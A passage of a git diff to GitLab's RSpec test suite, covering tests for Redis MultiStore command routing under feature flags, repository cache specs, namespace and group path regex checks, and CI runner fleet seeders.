+
+ # rubocop:disable Layout/LineLength
where(:case_name, :name, :args, :expected_value, :verification_name, :verification_args) do
- 'execute :set command' | :set | ref(:key1_value1) | ref(:value1) | :get | ref(:key1)
- 'execute :setnx command' | :setnx | ref(:key1_value2) | ref(:value1) | :get | ref(:key2)
- 'execute :setex command' | :setex | ref(:key1_ttl_value1) | ref(:ttl) | :ttl | ref(:key1)
- 'execute :sadd command' | :sadd | ref(:skey_value2) | ref(:svalues1) | :smembers | ref(:skey)
- 'execute :srem command' | :srem | ref(:skey_value1) | [] | :smembers | ref(:skey)
- 'execute :del command' | :del | ref(:key2) | nil | :get | ref(:key2)
- 'execute :flushdb command' | :flushdb | nil | 0 | :dbsize | nil
- 'execute :eval command' | :eval | ref(:script) | ref(:value1) | :get | ref(:key1)
+ 'execute :set command' | :set | ref(:key1_value1) | ref(:value1) | :get | ref(:key1)
+ 'execute :setnx command' | :setnx | ref(:key1_value2) | ref(:value1) | :get | ref(:key2)
+ 'execute :setex command' | :setex | ref(:key1_ttl_value1) | ref(:ttl) | :ttl | ref(:key1)
+ 'execute :sadd command' | :sadd | ref(:skey_value2) | ref(:svalues1) | :smembers | ref(:skey)
+ 'execute :srem command' | :srem | ref(:skey_value1) | [] | :smembers | ref(:skey)
+ 'execute :del command' | :del | ref(:key2) | nil | :get | ref(:key2)
+ 'execute :unlink command' | :unlink | ref(:key3) | nil | :get | ref(:key3)
+ 'execute :flushdb command' | :flushdb | nil | 0 | :dbsize | nil
+ 'execute :eval command' | :eval | ref(:script) | ref(:value1) | :get | ref(:key1)
+ 'execute :incr command' | :incr | ref(:ikey1) | ref(:ivalue1) | :get | ref(:ikey1)
+ 'execute :incrby command' | :incrby | ref(:iargs) | ref(:ivalue2) | :get | ref(:ikey2)
+ 'execute :hset command' | :hset | ref(:hsetarg) | ref(:value1) | :hget | ref(:hgetarg)
+ 'execute :hdel command' | :hdel | ref(:hdelarg) | nil | :hget | ref(:hdelarg)
+ 'execute :expire command' | :expire | ref(:expireargs) | ref(:ttl) | :ttl | ref(:key3)
+ 'execute :mapped_hmset command' | :mapped_hmset | ref(:mhsetarg) | ref(:value1) | :hget | ref(:hgetarg)
end
+ # rubocop:enable Layout/LineLength
before do
primary_store.flushdb
secondary_store.flushdb
primary_store.set(key2, value1)
+ primary_store.set(key3, value1)
+ primary_store.set(key4, value1)
primary_store.sadd?(skey, value1)
+ primary_store.hset(hkey2, item, value1)
secondary_store.set(key2, value1)
+ secondary_store.set(key3, value1)
+ secondary_store.set(key4, value1)
secondary_store.sadd?(skey, value1)
+ secondary_store.hset(hkey2, item, value1)
end
with_them do
@@ -375,6 +579,34 @@ RSpec.describe Gitlab::Redis::MultiStore, feature_category: :redis do
include_examples 'verify that store contains values', :secondary_store
end
+ context 'when use_primary_and_secondary_stores feature flag is disabled' do
+ before do
+ stub_feature_flags(use_primary_and_secondary_stores_for_test_store: false)
+ end
+
+ context 'when using secondary store as default' do
+ before do
+ stub_feature_flags(use_primary_store_as_default_for_test_store: false)
+ end
+
+ it 'executes only on secondary redis store', :aggregate_errors do
+ expect(secondary_store).to receive(name).with(*expected_args).and_call_original
+ expect(primary_store).not_to receive(name).with(*expected_args).and_call_original
+
+ subject
+ end
+ end
+
+ context 'when using primary store as default' do
+ it 'executes only on primary redis store', :aggregate_errors do
+ expect(primary_store).to receive(name).with(*expected_args).and_call_original
+ expect(secondary_store).not_to receive(name).with(*expected_args).and_call_original
+
+ subject
+ end
+ end
+ end
+
context 'when executing on the primary instance is raising an exception' do
before do
allow(primary_store).to receive(name).with(*expected_args).and_raise(StandardError)
@@ -419,6 +651,121 @@ RSpec.describe Gitlab::Redis::MultiStore, feature_category: :redis do
end
end
end
+ # rubocop:enable RSpec/MultipleMemoizedHelpers
+
+ context 'with ENUMERATOR_COMMANDS redis commands' do
+ let_it_be(:hkey) { "redis:hash" }
+ let_it_be(:skey) { "redis:set" }
+ let_it_be(:zkey) { "redis:sortedset" }
+ let_it_be(:rvalue) { "value1" }
+ let_it_be(:scan_kwargs) { { match: 'redis:hash' } }
+
+ where(:case_name, :name, :args, :kwargs) do
+ 'execute :scan_each command' | :scan_each | nil | ref(:scan_kwargs)
+ 'execute :sscan_each command' | :sscan_each | ref(:skey) | {}
+ 'execute :hscan_each command' | :hscan_each | ref(:hkey) | {}
+ 'execute :zscan_each command' | :zscan_each | ref(:zkey) | {}
+ end
+
+ before(:all) do
+ primary_store.hset(hkey, rvalue, 1)
+ primary_store.sadd?(skey, rvalue)
+ primary_store.zadd(zkey, 1, rvalue)
+
+ secondary_store.hset(hkey, rvalue, 1)
+ secondary_store.sadd?(skey, rvalue)
+ secondary_store.zadd(zkey, 1, rvalue)
+ end
+
+ RSpec.shared_examples_for 'enumerator commands execution' do |both_stores, default_primary|
+ context 'without block passed in' do
+ subject do
+ multi_store.send(name, *args, **kwargs)
+ end
+
+ it 'returns an enumerator' do
+ expect(subject).to be_instance_of(Enumerator)
+ end
+ end
+
+ context 'with block passed in' do
+ subject do
+ multi_store.send(name, *args, **kwargs) { |key| multi_store.incr(rvalue) }
+ end
+
+ it 'returns nil' do
+ expect(subject).to eq(nil)
+ end
+
+ it 'runs block on correct Redis instance' do
+ if both_stores
+ expect(primary_store).to receive(name).with(*expected_args).and_call_original
+ expect(secondary_store).not_to receive(name)
+
+ expect(primary_store).to receive(:incr).with(rvalue)
+ expect(secondary_store).to receive(:incr).with(rvalue)
+ elsif default_primary
+ expect(primary_store).to receive(name).with(*expected_args).and_call_original
+ expect(primary_store).to receive(:incr).with(rvalue)
+
+ expect(secondary_store).not_to receive(name)
+ expect(secondary_store).not_to receive(:incr).with(rvalue)
+ else
+ expect(secondary_store).to receive(name).with(*expected_args).and_call_original
+ expect(secondary_store).to receive(:incr).with(rvalue)
+
+ expect(primary_store).not_to receive(name)
+ expect(primary_store).not_to receive(:incr).with(rvalue)
+ end
+
+ subject
+ end
+ end
+ end
+
+ with_them do
+ describe name.to_s do
+ let(:expected_args) { kwargs.present? ? [*args, { **kwargs }] : Array(args) }
+
+ before do
+ allow(primary_store).to receive(name).and_call_original
+ allow(secondary_store).to receive(name).and_call_original
+ end
+
+ context 'when only using 1 store' do
+ before do
+ stub_feature_flags(use_primary_and_secondary_stores_for_test_store: false)
+ end
+
+ context 'when using secondary store as default' do
+ before do
+ stub_feature_flags(use_primary_store_as_default_for_test_store: false)
+ end
+
+ it_behaves_like 'enumerator commands execution', false, false
+ end
+
+ context 'when using primary store as default' do
+ it_behaves_like 'enumerator commands execution', false, true
+ end
+ end
+
+ context 'when using both stores' do
+ context 'when using secondary store as default' do
+ before do
+ stub_feature_flags(use_primary_store_as_default_for_test_store: false)
+ end
+
+ it_behaves_like 'enumerator commands execution', true, false
+ end
+
+ context 'when using primary store as default' do
+ it_behaves_like 'enumerator commands execution', true, true
+ end
+ end
+ end
+ end
+ end
RSpec.shared_examples_for 'pipelined command' do |name|
let_it_be(:key1) { "redis:{1}:key_a" }
@@ -554,6 +901,34 @@ RSpec.describe Gitlab::Redis::MultiStore, feature_category: :redis do
end
end
end
+
+ context 'when use_primary_and_secondary_stores feature flag is disabled' do
+ before do
+ stub_feature_flags(use_primary_and_secondary_stores_for_test_store: false)
+ end
+
+ context 'when using secondary store as default' do
+ before do
+ stub_feature_flags(use_primary_store_as_default_for_test_store: false)
+ end
+
+ it 'executes on secondary store', :aggregate_errors do
+ expect(primary_store).not_to receive(:send).and_call_original
+ expect(secondary_store).to receive(:send).and_call_original
+
+ subject
+ end
+ end
+
+ context 'when using primary store as default' do
+ it 'executes on primary store', :aggregate_errors do
+ expect(secondary_store).not_to receive(:send).and_call_original
+ expect(primary_store).to receive(:send).and_call_original
+
+ subject
+ end
+ end
+ end
end
end
@@ -565,129 +940,211 @@ RSpec.describe Gitlab::Redis::MultiStore, feature_category: :redis do
include_examples 'pipelined command', :pipelined
end
- context 'with unsupported command' do
- let(:counter) { Gitlab::Metrics::NullMetric.instance }
-
- before do
- primary_store.flushdb
- secondary_store.flushdb
- allow(Gitlab::Metrics).to receive(:counter).and_return(counter)
- end
-
- let_it_be(:key) { "redis:counter" }
+ describe '#ping' do
+ subject { multi_store.ping }
- subject { multi_store.incr(key) }
+ context 'when using both stores' do
+ before do
+ allow(multi_store).to receive(:use_primary_and_secondary_stores?).and_return(true)
+ end
- it 'responds to missing method' do
- expect(multi_store).to receive(:respond_to_missing?).and_call_original
+ context 'without message' do
+ it 'returns PONG' do
+ expect(subject).to eq('PONG')
+ end
+ end
- expect(multi_store.respond_to?(:incr)).to be(true)
- end
+ context 'with message' do
+ it 'returns the same message' do
+ expect(multi_store.ping('hello world')).to eq('hello world')
+ end
+ end
- it 'executes method missing' do
- expect(multi_store).to receive(:method_missing)
+ shared_examples 'returns an error' do
+ before do
+ allow(store).to receive(:ping).and_raise('boom')
+ end
- subject
- end
+ it 'returns the error' do
+ expect { subject }.to raise_error('boom')
+ end
+ end
- context 'when command is not in SKIP_LOG_METHOD_MISSING_FOR_COMMANDS' do
- it 'logs MethodMissingError' do
- expect(Gitlab::ErrorTracking).to receive(:log_exception).with(
- an_instance_of(Gitlab::Redis::MultiStore::MethodMissingError),
- hash_including(command_name: :incr, instance_name: instance_name)
- )
+ context 'when primary store returns an error' do
+ let(:store) { primary_store }
- subject
+ it_behaves_like 'returns an error'
end
- it 'increments method missing counter' do
- expect(counter).to receive(:increment).with(command: :incr, instance_name: instance_name)
+ context 'when secondary store returns an error' do
+ let(:store) { secondary_store }
- subject
+ it_behaves_like 'returns an error'
end
end
- context 'when command is in SKIP_LOG_METHOD_MISSING_FOR_COMMANDS' do
- subject { multi_store.info }
+ shared_examples 'single store as default store' do
+ context 'when the store retuns success' do
+ it 'returns response from the respective store' do
+ expect(store).to receive(:ping).and_return('PONG')
- it 'does not log MethodMissingError' do
- expect(Gitlab::ErrorTracking).not_to receive(:log_exception)
+ subject
- subject
+ expect(subject).to eq('PONG')
+ end
end
- it 'does not increment method missing counter' do
- expect(counter).not_to receive(:increment)
+ context 'when the store returns an error' do
+ before do
+ allow(store).to receive(:ping).and_raise('boom')
+ end
- subject
+ it 'returns the error' do
+ expect { subject }.to raise_error('boom')
+ end
end
end
- context 'with feature flag :use_primary_store_as_default_for_test_store is enabled' do
+ context 'when using only one store' do
before do
- stub_feature_flags(use_primary_store_as_default_for_test_store: true)
+ allow(multi_store).to receive(:use_primary_and_secondary_stores?).and_return(false)
end
- it 'fallback and executes only on the secondary store', :aggregate_errors do
- expect(primary_store).to receive(:incr).with(key).and_call_original
- expect(secondary_store).not_to receive(:incr)
+ context 'when using primary_store as default store' do
+ let(:store) { primary_store }
- subject
+ before do
+ allow(multi_store).to receive(:use_primary_store_as_default?).and_return(true)
+ end
+
+ it_behaves_like 'single store as default store'
end
- it 'correct value is stored on the secondary store', :aggregate_errors do
- subject
+ context 'when using secondary_store as default store' do
+ let(:store) { secondary_store }
- expect(secondary_store.get(key)).to be_nil
- expect(primary_store.get(key)).to eq('1')
+ before do
+ allow(multi_store).to receive(:use_primary_store_as_default?).and_return(false)
+ end
+
+ it_behaves_like 'single store as default store'
end
end
+ end
- context 'with feature flag :use_primary_store_as_default_for_test_store is disabled' do
+ context 'with unsupported command' do
+ let(:counter) { Gitlab::Metrics::NullMetric.instance }
+
+ before do
+ primary_store.flushdb
+ secondary_store.flushdb
+ allow(Gitlab::Metrics).to receive(:counter).and_return(counter)
+ end
+
+ subject { multi_store.command }
+
+ context 'when in test environment' do
+ it 'raises error' do
+ expect { subject }.to raise_error(instance_of(Gitlab::Redis::MultiStore::MethodMissingError))
+ end
+ end
+
+ context 'when not in test environment' do
before do
- stub_feature_flags(use_primary_store_as_default_for_test_store: false)
+ stub_rails_env('production')
end
- it 'fallback and executes only on the secondary store', :aggregate_errors do
- expect(secondary_store).to receive(:incr).with(key).and_call_original
- expect(primary_store).not_to receive(:incr)
+ it 'responds to missing method' do
+ expect(multi_store).to receive(:respond_to_missing?).and_call_original
- subject
+ expect(multi_store.respond_to?(:command)).to be(true)
end
- it 'correct value is stored on the secondary store', :aggregate_errors do
+ it 'executes method missing' do
+ expect(multi_store).to receive(:method_missing)
+
subject
+ end
+
+ context 'when command is not in SKIP_LOG_METHOD_MISSING_FOR_COMMANDS' do
+ it 'logs MethodMissingError' do
+ expect(Gitlab::ErrorTracking).to receive(:log_exception).with(
+ an_instance_of(Gitlab::Redis::MultiStore::MethodMissingError),
+ hash_including(command_name: :command, instance_name: instance_name)
+ )
+
+ subject
+ end
+
+ it 'increments method missing counter' do
+ expect(counter).to receive(:increment).with(command: :command, instance_name: instance_name)
+
+ subject
+ end
- expect(primary_store.get(key)).to be_nil
- expect(secondary_store.get(key)).to eq('1')
+ it 'fallback and executes only on the secondary store', :aggregate_errors do
+ expect(primary_store).to receive(:command).and_call_original
+ expect(secondary_store).not_to receive(:command)
+
+ subject
+ end
end
- end
- context 'when the command is executed within pipelined block' do
- subject do
- multi_store.pipelined do |pipeline|
- pipeline.incr(key)
+ context 'when command is in SKIP_LOG_METHOD_MISSING_FOR_COMMANDS' do
+ subject { multi_store.info }
+
+ it 'does not log MethodMissingError' do
+ expect(Gitlab::ErrorTracking).not_to receive(:log_exception)
+
+ subject
+ end
+
+ it 'does not increment method missing counter' do
+ expect(counter).not_to receive(:increment)
+
+ subject
end
end
- it 'is executed only 1 time on each instance', :aggregate_errors do
- expect(primary_store).to receive(:pipelined).once.and_call_original
- expect(secondary_store).to receive(:pipelined).once.and_call_original
+ context 'with feature flag :use_primary_store_as_default_for_test_store is enabled' do
+ it 'fallback and executes only on the secondary store', :aggregate_errors do
+ expect(primary_store).to receive(:command).and_call_original
+ expect(secondary_store).not_to receive(:command)
- 2.times do
- expect_next_instance_of(Redis::PipelinedConnection) do |pipeline|
- expect(pipeline).to receive(:incr).with(key).once
- end
+ subject
end
+ end
- subject
+ context 'with feature flag :use_primary_store_as_default_for_test_store is disabled' do
+ before do
+ stub_feature_flags(use_primary_store_as_default_for_test_store: false)
+ end
+
+ it 'fallback and executes only on the secondary store', :aggregate_errors do
+ expect(secondary_store).to receive(:command).and_call_original
+ expect(primary_store).not_to receive(:command)
+
+ subject
+ end
end
- it "both redis stores are containing correct values", :aggregate_errors do
- subject
+ context 'when the command is executed within pipelined block' do
+ subject do
+ multi_store.pipelined(&:command)
+ end
+
+ it 'is executed only 1 time on each instance', :aggregate_errors do
+ expect(primary_store).to receive(:pipelined).once.and_call_original
+ expect(secondary_store).to receive(:pipelined).once.and_call_original
+
+ 2.times do
+ expect_next_instance_of(Redis::PipelinedConnection) do |pipeline|
+ expect(pipeline).to receive(:command).once
+ end
+ end
- expect(primary_store.get(key)).to eq('1')
- expect(secondary_store.get(key)).to eq('1')
+ subject
+ end
end
end
end
diff --git a/spec/lib/gitlab/redis/repository_cache_spec.rb b/spec/lib/gitlab/redis/repository_cache_spec.rb
new file mode 100644
index 00000000000..b11e9ebf1f3
--- /dev/null
+++ b/spec/lib/gitlab/redis/repository_cache_spec.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Redis::RepositoryCache, feature_category: :scalability do
+ include_examples "redis_new_instance_shared_examples", 'repository_cache', Gitlab::Redis::Cache
+ include_examples "redis_shared_examples"
+
+ describe '#pool' do
+ let(:config_new_format_host) { "spec/fixtures/config/redis_new_format_host.yml" }
+ let(:config_new_format_socket) { "spec/fixtures/config/redis_new_format_socket.yml" }
+
+ subject { described_class.pool }
+
+ before do
+ allow(described_class).to receive(:config_file_name).and_return(config_new_format_host)
+ allow(Gitlab::Redis::Cache).to receive(:config_file_name).and_return(config_new_format_socket)
+ end
+
+ around do |example|
+ clear_pool
+ example.run
+ ensure
+ clear_pool
+ end
+
+ it 'instantiates an instance of MultiStore' do
+ subject.with do |redis_instance|
+ expect(redis_instance).to be_instance_of(::Gitlab::Redis::MultiStore)
+
+ expect(redis_instance.primary_store.connection[:id]).to eq("redis://test-host:6379/99")
+ expect(redis_instance.secondary_store.connection[:id]).to eq("unix:///path/to/redis.sock/0")
+
+ expect(redis_instance.instance_name).to eq('RepositoryCache')
+ end
+ end
+
+ it_behaves_like 'multi store feature flags', :use_primary_and_secondary_stores_for_repository_cache,
+ :use_primary_store_as_default_for_repository_cache
+ end
+
+ describe '#raw_config_hash' do
+ it 'has a legacy default URL' do
+ expect(subject).to receive(:fetch_config).and_return(false)
+
+ expect(subject.send(:raw_config_hash)).to eq(url: 'redis://localhost:6380')
+ end
+ end
+end
diff --git a/spec/lib/gitlab/redis/sidekiq_status_spec.rb b/spec/lib/gitlab/redis/sidekiq_status_spec.rb
index 76d130d67f7..e7cf229b494 100644
--- a/spec/lib/gitlab/redis/sidekiq_status_spec.rb
+++ b/spec/lib/gitlab/redis/sidekiq_status_spec.rb
@@ -18,18 +18,10 @@ RSpec.describe Gitlab::Redis::SidekiqStatus do
subject { described_class.pool }
before do
- redis_clear_raw_config!(Gitlab::Redis::SharedState)
- redis_clear_raw_config!(Gitlab::Redis::Queues)
-
allow(Gitlab::Redis::SharedState).to receive(:config_file_name).and_return(config_new_format_host)
allow(Gitlab::Redis::Queues).to receive(:config_file_name).and_return(config_new_format_socket)
end
- after do
- redis_clear_raw_config!(Gitlab::Redis::SharedState)
- redis_clear_raw_config!(Gitlab::Redis::Queues)
- end
-
around do |example|
clear_pool
example.run
diff --git a/spec/lib/gitlab/regex_spec.rb b/spec/lib/gitlab/regex_spec.rb
index 89ef76d246e..9532a30144f 100644
--- a/spec/lib/gitlab/regex_spec.rb
+++ b/spec/lib/gitlab/regex_spec.rb
@@ -7,7 +7,7 @@ require_relative '../../support/shared_examples/lib/gitlab/regex_shared_examples
# All specs that can be run with fast_spec_helper only
# See regex_requires_app_spec for tests that require the full spec_helper
-RSpec.describe Gitlab::Regex do
+RSpec.describe Gitlab::Regex, feature_category: :tooling do
shared_examples_for 'project/group name chars regex' do
it { is_expected.to match('gitlab-ce') }
it { is_expected.to match('GitLab CE') }
@@ -72,6 +72,59 @@ RSpec.describe Gitlab::Regex do
it { is_expected.to eq("can contain only letters, digits, emojis, '_', '.', dash, space, parenthesis. It must start with letter, digit, emoji or '_'.") }
end
+ describe '.bulk_import_namespace_path_regex' do
+ subject { described_class.bulk_import_namespace_path_regex }
+
+ it { is_expected.not_to match('?gitlab') }
+ it { is_expected.not_to match("Users's something") }
+ it { is_expected.not_to match('/source') }
+ it { is_expected.not_to match('http:') }
+ it { is_expected.not_to match('https:') }
+ it { is_expected.not_to match('example.com/?stuff=true') }
+ it { is_expected.not_to match('example.com:5000/?stuff=true') }
+ it { is_expected.not_to match('http://gitlab.example/gitlab-org/manage/import/gitlab-migration-test') }
+ it { is_expected.not_to match('_good_for_me!') }
+ it { is_expected.not_to match('good_for+you') }
+ it { is_expected.not_to match('source/') }
+ it { is_expected.not_to match('.source/full./path') }
+
+ it { is_expected.to match('source') }
+ it { is_expected.to match('.source') }
+ it { is_expected.to match('_source') }
+ it { is_expected.to match('source/full') }
+ it { is_expected.to match('source/full/path') }
+ it { is_expected.to match('.source/.full/.path') }
+ it { is_expected.to match('domain_namespace') }
+ it { is_expected.to match('gitlab-migration-test') }
+ end
+
+ describe '.group_path_regex' do
+ subject { described_class.group_path_regex }
+
+ it { is_expected.not_to match('?gitlab') }
+ it { is_expected.not_to match("Users's something") }
+ it { is_expected.not_to match('/source') }
+ it { is_expected.not_to match('http:') }
+ it { is_expected.not_to match('https:') }
+ it { is_expected.not_to match('example.com/?stuff=true') }
+ it { is_expected.not_to match('example.com:5000/?stuff=true') }
+ it { is_expected.not_to match('http://gitlab.example/gitlab-org/manage/import/gitlab-migration-test') }
+ it { is_expected.not_to match('_good_for_me!') }
+ it { is_expected.not_to match('good_for+you') }
+ it { is_expected.not_to match('source/') }
+ it { is_expected.not_to match('.source/full./path') }
+
+ it { is_expected.not_to match('source/full') }
+ it { is_expected.not_to match('source/full/path') }
+ it { is_expected.not_to match('.source/.full/.path') }
+
+ it { is_expected.to match('source') }
+ it { is_expected.to match('.source') }
+ it { is_expected.to match('_source') }
+ it { is_expected.to match('domain_namespace') }
+ it { is_expected.to match('gitlab-migration-test') }
+ end
+
describe '.environment_name_regex' do
subject { described_class.environment_name_regex }
diff --git a/spec/lib/gitlab/relative_positioning/mover_spec.rb b/spec/lib/gitlab/relative_positioning/mover_spec.rb
index cbb15ae876d..85e985b1b6f 100644
--- a/spec/lib/gitlab/relative_positioning/mover_spec.rb
+++ b/spec/lib/gitlab/relative_positioning/mover_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe RelativePositioning::Mover do
+RSpec.describe RelativePositioning::Mover, feature_category: :portfolio_management do
let_it_be(:user) { create(:user) }
let_it_be(:one_sibling, reload: true) { create(:project, creator: user, namespace: user.namespace) }
let_it_be(:one_free_space, reload: true) { create(:project, creator: user, namespace: user.namespace) }
diff --git a/spec/lib/gitlab/repository_cache/preloader_spec.rb b/spec/lib/gitlab/repository_cache/preloader_spec.rb
index 8c6618c9f8f..71244dd41ed 100644
--- a/spec/lib/gitlab/repository_cache/preloader_spec.rb
+++ b/spec/lib/gitlab/repository_cache/preloader_spec.rb
@@ -2,53 +2,80 @@
require 'spec_helper'
-RSpec.describe Gitlab::RepositoryCache::Preloader, :use_clean_rails_redis_caching do
+RSpec.describe Gitlab::RepositoryCache::Preloader, :use_clean_rails_redis_caching,
+ feature_category: :source_code_management do
let(:projects) { create_list(:project, 2, :repository) }
let(:repositories) { projects.map(&:repository) }
- describe '#preload' do
- context 'when the values are already cached' do
- before do
- # Warm the cache but use a different model so they are not memoized
- repos = Project.id_in(projects).order(:id).map(&:repository)
+ before do
+ stub_feature_flags(use_primary_store_as_default_for_repository_cache: false)
+ end
- allow(repos[0].head_tree).to receive(:readme_path).and_return('README.txt')
- allow(repos[1].head_tree).to receive(:readme_path).and_return('README.md')
+ shared_examples 'preload' do
+ describe '#preload' do
+ context 'when the values are already cached' do
+ before do
+ # Warm the cache but use a different model so they are not memoized
+ repos = Project.id_in(projects).order(:id).map(&:repository)
- repos.map(&:exists?)
- repos.map(&:readme_path)
- end
+ allow(repos[0]).to receive(:readme_path_gitaly).and_return('README.txt')
+ allow(repos[1]).to receive(:readme_path_gitaly).and_return('README.md')
- it 'prevents individual cache reads for cached methods' do
- expect(Rails.cache).to receive(:read_multi).once.and_call_original
+ repos.map(&:exists?)
+ repos.map(&:readme_path)
+ end
- described_class.new(repositories).preload(
- %i[exists? readme_path]
- )
+ it 'prevents individual cache reads for cached methods' do
+ expect(cache).to receive(:read_multi).once.and_call_original
- expect(Rails.cache).not_to receive(:read)
- expect(Rails.cache).not_to receive(:write)
+ described_class.new(repositories).preload(
+ %i[exists? readme_path]
+ )
- expect(repositories[0].exists?).to eq(true)
- expect(repositories[0].readme_path).to eq('README.txt')
+ expect(cache).not_to receive(:read)
+ expect(cache).not_to receive(:write)
- expect(repositories[1].exists?).to eq(true)
- expect(repositories[1].readme_path).to eq('README.md')
+ expect(repositories[0].exists?).to eq(true)
+ expect(repositories[0].readme_path).to eq('README.txt')
+
+ expect(repositories[1].exists?).to eq(true)
+ expect(repositories[1].readme_path).to eq('README.md')
+ end
end
- end
- context 'when values are not cached' do
- it 'reads and writes from cache individually' do
- described_class.new(repositories).preload(
- %i[exists? has_visible_content?]
- )
+ context 'when values are not cached' do
+ it 'reads and writes from cache individually' do
+ described_class.new(repositories).preload(
+ %i[exists? has_visible_content?]
+ )
- expect(Rails.cache).to receive(:read).exactly(4).times
- expect(Rails.cache).to receive(:write).exactly(4).times
+ expect(cache).to receive(:read).exactly(4).times
+ expect(cache).to receive(:write).exactly(4).times
- repositories.each(&:exists?)
- repositories.each(&:has_visible_content?)
+ repositories.each(&:exists?)
+ repositories.each(&:has_visible_content?)
+ end
end
end
end
+
+ context 'when use_primary_and_secondary_stores_for_repository_cache feature flag is enabled' do
+ let(:cache) { Gitlab::RepositoryCache.store }
+
+ before do
+ stub_feature_flags(use_primary_and_secondary_stores_for_repository_cache: true)
+ end
+
+ it_behaves_like 'preload'
+ end
+
+ context 'when use_primary_and_secondary_stores_for_repository_cache feature flag is disabled' do
+ let(:cache) { Rails.cache }
+
+ before do
+ stub_feature_flags(use_primary_and_secondary_stores_for_repository_cache: false)
+ end
+
+ it_behaves_like 'preload'
+ end
end
diff --git a/spec/lib/gitlab/repository_hash_cache_spec.rb b/spec/lib/gitlab/repository_hash_cache_spec.rb
index 6b52c315a70..d41bf45f72e 100644
--- a/spec/lib/gitlab/repository_hash_cache_spec.rb
+++ b/spec/lib/gitlab/repository_hash_cache_spec.rb
@@ -69,20 +69,35 @@ RSpec.describe Gitlab::RepositoryHashCache, :clean_gitlab_redis_cache do
end
end
- describe "#key?" do
- subject { cache.key?(:example, "test") }
+ shared_examples "key?" do
+ describe "#key?" do
+ subject { cache.key?(:example, "test") }
- context "key exists" do
- before do
- cache.write(:example, test_hash)
+ context "key exists" do
+ before do
+ cache.write(:example, test_hash)
+ end
+
+ it { is_expected.to be(true) }
end
- it { is_expected.to be(true) }
+ context "key doesn't exist" do
+ it { is_expected.to be(false) }
+ end
end
+ end
- context "key doesn't exist" do
- it { is_expected.to be(false) }
+ context "when both multistore FF is enabled" do
+ it_behaves_like "key?"
+ end
+
+ context "when both multistore FF is disabled" do
+ before do
+ stub_feature_flags(use_primary_and_secondary_stores_for_repository_cache: false)
+ stub_feature_flags(use_primary_store_as_default_for_repository_cache: false)
end
+
+ it_behaves_like "key?"
end
describe "#read_members" do
diff --git a/spec/lib/gitlab/seeders/ci/runner/runner_fleet_pipeline_seeder_spec.rb b/spec/lib/gitlab/seeders/ci/runner/runner_fleet_pipeline_seeder_spec.rb
new file mode 100644
index 00000000000..2862bcc9719
--- /dev/null
+++ b/spec/lib/gitlab/seeders/ci/runner/runner_fleet_pipeline_seeder_spec.rb
@@ -0,0 +1,58 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+NULL_LOGGER = Gitlab::JsonLogger.new('/dev/null')
+TAG_LIST = Gitlab::Seeders::Ci::Runner::RunnerFleetSeeder::TAG_LIST.to_set
+
+RSpec.describe ::Gitlab::Seeders::Ci::Runner::RunnerFleetPipelineSeeder, feature_category: :runner_fleet do
+ subject(:seeder) do
+ described_class.new(NULL_LOGGER, projects_to_runners: projects_to_runners, job_count: job_count)
+ end
+
+ def runner_ids_for_project(runner_count, project)
+ create_list(:ci_runner, runner_count, :project, projects: [project], tag_list: TAG_LIST.to_a.sample(5)).map(&:id)
+ end
+
+ let_it_be(:projects) { create_list(:project, 4) }
+ let_it_be(:projects_to_runners) do
+ [
+ { project_id: projects[0].id, runner_ids: runner_ids_for_project(2, projects[0]) },
+ { project_id: projects[1].id, runner_ids: runner_ids_for_project(1, projects[1]) },
+ { project_id: projects[2].id, runner_ids: runner_ids_for_project(2, projects[2]) },
+ { project_id: projects[3].id, runner_ids: runner_ids_for_project(1, projects[3]) }
+ ]
+ end
+
+ describe '#seed' do
+ context 'with job_count specified' do
+ let(:job_count) { 20 }
+
+ it 'creates expected jobs', :aggregate_failures do
+ expect { seeder.seed }.to change { Ci::Build.count }.by(job_count)
+ .and change { Ci::Pipeline.count }.by(4)
+
+ expect(Ci::Pipeline.where.not(started_at: nil).map(&:queued_duration)).to all(be < 5.minutes)
+ expect(Ci::Build.where.not(started_at: nil).map(&:queued_duration)).to all(be < 5.minutes)
+
+ projects_to_runners.first(3).each do |project|
+ expect(Ci::Build.where(runner_id: project[:runner_ids])).not_to be_empty
+ end
+ end
+ end
+
+ context 'with nil job_count' do
+ let(:job_count) { nil }
+
+ before do
+ stub_const('Gitlab::Seeders::Ci::Runner::RunnerFleetPipelineSeeder::DEFAULT_JOB_COUNT', 2)
+ end
+
+ it 'creates expected jobs', :aggregate_failures do
+ expect { seeder.seed }.to change { Ci::Build.count }.by(2)
+ .and change { Ci::Pipeline.count }.by(2)
+ expect(Ci::Build.last(2).map(&:tag_list).map(&:to_set)).to all satisfy { |r| r.subset?(TAG_LIST) }
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/seeders/ci/runner/runner_fleet_seeder_spec.rb b/spec/lib/gitlab/seeders/ci/runner/runner_fleet_seeder_spec.rb
new file mode 100644
index 00000000000..fe52b586d49
--- /dev/null
+++ b/spec/lib/gitlab/seeders/ci/runner/runner_fleet_seeder_spec.rb
@@ -0,0 +1,71 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+NULL_LOGGER = Gitlab::JsonLogger.new('/dev/null')
+
+RSpec.describe ::Gitlab::Seeders::Ci::Runner::RunnerFleetSeeder, feature_category: :runner_fleet do
+ let_it_be(:user) { create(:user, :admin, username: 'test-admin') }
+
+ subject(:seeder) do
+ described_class.new(NULL_LOGGER,
+ username: user.username,
+ registration_prefix: registration_prefix,
+ runner_count: runner_count)
+ end
+
+ describe '#seed', :enable_admin_mode do
+ subject(:seed) { seeder.seed }
+
+ let(:runner_count) { 20 }
+ let(:registration_prefix) { 'prefix-' }
+ let(:runner_releases_url) do
+ ::Gitlab::CurrentSettings.current_application_settings.public_runner_releases_url
+ end
+
+ before do
+ WebMock.stub_request(:get, runner_releases_url).to_return(
+ body: '[]',
+ status: 200,
+ headers: { 'Content-Type' => 'application/json' }
+ )
+ end
+
+ it 'creates expected hierarchy', :aggregate_failures do
+ expect { seed }.to change { Ci::Runner.count }.by(runner_count)
+ .and change { Ci::Runner.instance_type.count }.by(1)
+ .and change { Project.count }.by(3)
+ .and change { Group.count }.by(6)
+
+ expect(Group.search(registration_prefix)).to contain_exactly(
+ an_object_having_attributes(name: "#{registration_prefix}top-level group 1"),
+ an_object_having_attributes(name: "#{registration_prefix}top-level group 2"),
